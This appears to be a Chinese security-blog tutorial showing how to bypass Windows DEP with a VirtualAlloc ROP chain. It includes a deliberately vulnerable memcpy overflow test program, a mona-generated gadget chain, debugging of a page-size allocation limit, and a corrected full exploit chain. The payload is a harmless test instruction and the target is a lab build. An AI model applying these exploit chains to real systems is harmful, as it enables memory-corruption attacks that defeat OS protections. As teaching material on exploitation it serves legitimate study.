當前位置:
首頁 > 新聞 > Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP

Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP

0x00 前言


接著介紹DEP繞過的另一種方法——利用VirtualAlloc繞過DEP。通過VirtualAlloc函數可以申請一段具有可執行屬性的內存,相比於VirtualProtect,傳入VirtualAlloc的四個參數不需要先讀取再賦值,可在shellcode中直接指定,結構更簡單。當然,利用Immunity Debugger的mona插件可自動構造利用VirtualAlloc繞過DEP的ROP鏈。


0x01 簡介

本文將要介紹以下內容:


1. 調用VirtualAlloc函數時的Bug及修復


2. 選擇合適的替代指令,修改mona自動生成的rop鏈,實現利用


3. 利用VirtualAlloc繞過DEP時需要考慮的細節,如對shellcode的長度要求

0x02 相關概念


VirtualAlloc:


LPVOID WINAPI VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )


lpAddress:申請內存區域的地址


dwSize:申請內存區域的大小

flAllocationType:申請內存的類型


flProtect:申請內存的訪問控制類型


申請成功時函數返回申請內存的起始地址,申請失敗時返回NULL


0x03 實際測試


測試環境:

項目屬性:


關閉GS關閉優化關閉SEH打開DEP關閉ASLR禁用c++異常禁用內部函數


註:


詳細配置方法在上篇文章有說明

同樣是測試memcpy的緩衝器溢出,測試POC如下:


unsigned int shellcode[]={ 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x41414141, 0x41414141};void test(){ char buffer[48]; printf("3n"); memcpy(buffer,shellcode,sizeof(shellcode));}int main(){ printf("1n"); test(); return 0;}


編譯成exe,使用Immunity Debugger打開


使用mona插件自動生成rop鏈,輸入:


!mona rop -m *.dll -cp nonull


查看rop_chains.txt,會列出可用來關閉DEP的ROP鏈


選擇VirtualAlloc函數,詳情如下:


Register setup for VirtualAlloc() :-------------------------------------------- EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualAlloc() ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD--------------------------------------------ROP Chain for VirtualAlloc() [(XP/2003 Server and up)] :--------------------------------------------------------*** [ C ] *** #define CREATE_ROP_CHAIN(name, ...) int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); unsigned int name[name##_length / sizeof(unsigned int)]; create_rop_chain(name, ##__VA_ARGS__); int create_rop_chain(unsigned int *buf, unsigned int ) { // rop chain generated with mona.py - www.corelan.be unsigned int rop_gadgets[] = { 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] }; if(buf != NULL) { memcpy(buf, rop_gadgets, sizeof(rop_gadgets)); }; return sizeof(rop_gadgets); } // use the rop_chain variable after this call, it s just an unsigned int[] CREATE_ROP_CHAIN(rop_chain, ); // alternatively just allocate a large enough buffer and get the rop chain, i.e.: // unsigned int rop_chain[256]; // int rop_chain_length = create_rop_chain(rop_chain, );


測試1:


填入上述ROP鏈,接著加上測試的命令:


PUSH 1;POP ECX;


對應機器碼為0x9059016A


組合後的POC如下:


unsigned int shellcode[]={ 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] 0x9059016A, //PUSH 1 // POP ECX 0x90909090, 0x90909090, 0x90909090, 0x90909090};void test(){ char buffer[48]; printf("3n"); memcpy(buffer,shellcode,sizeof(shellcode));}int main(){ printf("1n"); test(); char Buf[] = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"; return 0;}


使用OllyDbg打開,單步跟蹤到VirtualAllocEx()函數入口點

Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP



如圖,查看傳入的函數參數


按F8單步跟蹤,如圖

Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP



返回值EAX為0,表示生成失敗


查找原因,根據之前的經驗,猜測是申請內存區域過長導致


測試2:


嘗試修改內存大小


猜測修改的內存長度小於等於200才能滿足條件

Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP



如上圖,將內存長度設置為200(0x000000C8)


按F8單步跟蹤,如下圖

Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP



申請成功,函數返回申請內存的起始地址


特別注意的是此處為當前內存頁的起始地址:0x0012F000(而不是傳入的內存起始地址0x0012FF38)


測試3:


再次測試,將長度設置為201,分配內存失敗


根據以上測試結果,猜測:VirtualAllocEx()函數無法跨內存頁申請內存


測試4:


繼續測試, 將長度設置為1,函數返回當前內存頁的起始地址:0x0012F000,並且shellcode成功執行


說明傳入的函數長度對分配內存沒有影響,但是加上申請內存的起始地址後必須小於當前內存頁的長度


也就是說,在溢出過程中,通過VirtualAllocEx()函數申請的內存大小為固定值


現在,我們通過手動修改棧地址實現了DEP的繞過,下面將尋找合適的替換指令,構建自己的ROP鏈,解決mona自動生成產生的BUG


PUSHAD表示將所有寄存器的值入棧,入棧順序為EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI


跟蹤到PUSHAD,如圖

Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP



EBX存儲內存的長度,需要將EBX修改為小於201的值


0x04 查找替代指令,構造ROP鏈


在rop.txt中尋找合適的替代指令

Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP



如上圖,搜索關鍵詞EBX,找到一條合適的替代指令:


0x771c80a2 : # XOR EAX,EAX # POP EBX # RETN ** [kernel32.dll] ** |


XOR EAX,EAX 會將寄存器EAX的值清零


POP EBX 會從棧頂取值並賦值給EBX


選擇合適的位置,並為EBX賦值,需要注意:


該指令將寄存器EAX的值清零,所以需要找到與EAX寄存器值無關的位置


找到一個合適的位置,放在0x693a7031, // POP EAX // RETN [MSVCR110.dll] 前面


完整shellcode如下:


unsigned int shellcode[]={ 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x771c80a2, // # XOR EAX,EAX # POP EBX # RETN [kernel32.dll] | 0x00000028, // Set EBX=0x00000028(40) 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] 0x9059016A, //PUSH 1 // POP ECX 0x90909090, 0x90909090, 0x90909090, 0x90909090};


重新編譯,使用OllyDbg打開,單步跟蹤到VirtualAllocEx()函數入口點

Windows Shellcode學習筆記——利用VirtualAlloc繞過DEP



如圖,查看傳入的函數參數


繼續運行,進入CALL ESP,shellcode成功執行


0x05 小結


利用VirtualAlloc繞過DEP同利用VirtualProtect繞過DEP一樣,都需要注意內存頁長度的限制,無法跨頁修改或者申請內存,這就對shellcode的長度提出了要求


當然,正常調用API實現VirtualProtect和VirtualAlloc不會存在跨內存頁失敗的問題


mona自動生成的rop鏈可作為參考模板,結合rop.txt下的替代指令,可構造更合適的ROP鏈


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

零日漏洞DoubleAgent的代碼注入和持久性攻擊技術分析
逐行分析PowerShell 惡意代碼
揭秘6種最有效的社會工程學攻擊手段及防禦之策
Android廣告軟體的新趨勢:濫用Android插件框架
淺談.NET程序集安全簽名

TAG:嘶吼RoarTalk |

您可能感興趣

Google Guava 筆記(一)-Collections
第59本英文書筆記:Little Rice,Smartphones,XiaoMi and the Chinese Dream
最美的Windows筆記本 微軟Surface Laptop
Python Web 部署:Nginx + Gunicorn + Supervisor + Flask 部署筆記
讀書筆記:How to observe software system
The power of Ashtanga yoga 讀書筆記(一)
The power of Ashtanga yoga 讀書筆記(三)
Microsoft 正式發布 Surface Laptop 筆記本電腦
Springboot 學習筆記,使用Springboot搭建服務
Win10 S筆記本Surface Laptop絕配!微軟全新Surface Arc滑鼠發布
National.Geographic讀書筆記-國慶休閑
筆記本將永遠在線,微軟/Intel/高通宣布Always connected PC計劃
微軟Surface Laptop筆記本國行開賣 預裝Windows 10 S系統
Gradle學習筆記之Groovy
防彈少年團成長筆記(上)-Born singer & Young Forever
ElasticSearch裡面一些小坑筆記
Surface Laptop 上手:有史以來最好的 Windows 筆記本
Chromebook Pixel 筆記本將以 Pixelbook 之名推出續作?
Michael I.Jordan最新清華授課筆記!